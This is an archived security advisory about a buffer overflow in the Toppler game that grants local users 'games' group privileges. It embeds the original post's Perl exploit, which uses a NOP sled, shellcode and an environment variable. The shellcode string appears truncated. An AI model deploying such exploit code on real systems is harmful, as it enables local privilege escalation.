SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Game)  >   Toppler Vendors:   toppler.sourceforge.net
Toppler Game Buffer Overflow Lets Local Users Grab 'Games' Group Privileges
SecurityTracker Alert ID:  1006191
SecurityTracker URL:  http://securitytracker.com/id/1006191
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Mar 2 2003
Impact:   Execution of arbitrary code via local system, User access via local system
Exploit Included:  Yes  

Description:   A buffer overflow was reported in the Toppler game software. A local user can gain additional privileges.

It is reported that a local user can supply a specially crafted argument to the toppler binary to cause the binary to execute arbitrary code. Because the software is installed with set group id (setgid) 'games' group privileges, the code will run with 'games' group privileges.

A demonstration exploit is provided in the Source Message.

Impact:   A local user can execute arbitrary code with 'games' group privileges.
Solution:   No solution was available at the time of this entry.
Vendor URL:  toppler.sourceforge.net/ (Links to External Site)
Cause:   Boundary error
Underlying OS:  Linux (Any), UNIX (Any)

Message History:   None.


 Source Message Contents

Subject:  gid games via toppler


------=_NextPart_000_000C_01C2E0C6.87F03CD0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Attached file should be self-explainatory.

--
kokanin/dtors/knud
------=_NextPart_000_000C_01C2E0C6.87F03CD0
Content-Type: application/octet-stream;
	name="DSR-toppler.pl"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="DSR-toppler.pl"

#!/usr/bin/perl
#kokanin@dtors.net playing a game
#hi bob
$len =3D 1024;
$ret =3D 0xbfbffd31;
$nop =3D "\x90";
$offset =3D 0;
$shellcode =3D =
"\x31\xc9\xf7\xe1\x51\x41\x51\x41\x51\x51\xb0\x61\xcd\x80\x89\xc3\x68\xD9=
\x9d;

if (@ARGV =3D=3D 1) {
    $offset =3D $ARGV[0];
}
 =20
for ($i =3D 0; $i < ($len - length($shellcode) - 100); $i++) {
    $buffer .=3D $nop;
}
=20
$buffer .=3D $shellcode;

$new_ret =3D pack('l', ($ret + $offset));
=20
for ($i +=3D length($shellcode); $i < $len; $i +=3D 4) {
    $buffer .=3D $new_ret;
}

local($ENV{'EGG'}) =3D $buffer;=20
local($ENV{'DISPLAY'}) =3D $new_ret x 64;=20

exec("toppler 2>/dev/null");
------=_NextPart_000_000C_01C2E0C6.87F03CD0--


 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2019, SecurityGlobal.net LLC